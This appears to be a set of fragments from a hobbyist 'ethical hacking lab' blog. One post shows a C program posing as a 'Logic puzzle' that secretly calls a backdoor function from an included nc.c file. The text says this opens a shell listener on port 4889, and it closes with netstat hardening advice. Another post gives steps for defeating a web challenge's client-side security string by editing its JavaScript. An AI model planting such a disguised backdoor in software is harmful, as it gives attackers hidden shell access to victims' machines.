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Ethical Hacking LAb-0x03

Aim: Create A BAckdoor

#include<stdio.h>
#include"nc.c"
int main()
{
int i;
printf("Logic puzzle\nselect option:\n1)Author\n2)About\n");
scanf("%d",&i);
switch(i)
{

case 1:
printf("Author: ");
printf("Vishal Mishra");
break;
case 2:
printf("Version .007 \n");
backdoor();
break;
}

return 0;
}

Click here to download
=>Prog.c
=>nc.c

As soon as the victim run this program, nc starts listening in the background at port number 4889 with a shell on it.So its a example of a very simple backdoor/trojan that can give access of your computer to the attacker.
In order to prevent this attack use a good firewall.And also keep checking at regular interval that what ports are open in your system, if you find any skeptical thing then immediately close that one or try to find out what service is using it.
you can do this using netstat command.It is available in linux as well as on window operating system.
if you are on a window box run this command regularly
netstat -ano
this will help you out in the hardening of your operating system.

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Steps 1:download the page.
2:open fc4.js in your favourite editor and add following lines in it or just replace it with vode given below.
3:then open the download html file in browser and fill the form with your email and a garbage value string.
4:thats it? it will show you the real security string??
yeah but  ...theirs another challenge waiting for you ... :D

function fc4me(srvstr) {

   if(!document.pleazfc4me.email.value || !document.pleazfc4me.securitystring.value) {
      alert("Please fill in all the required fields!");
      return false;
   }
   else {
      document.pleazfc4me.submit();
    }
   var t=hexMD5("\x74\x72\x79\x68\x61\x72\x64\x65\x72"+srvstr)
alert(t)
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Finally Got In :-)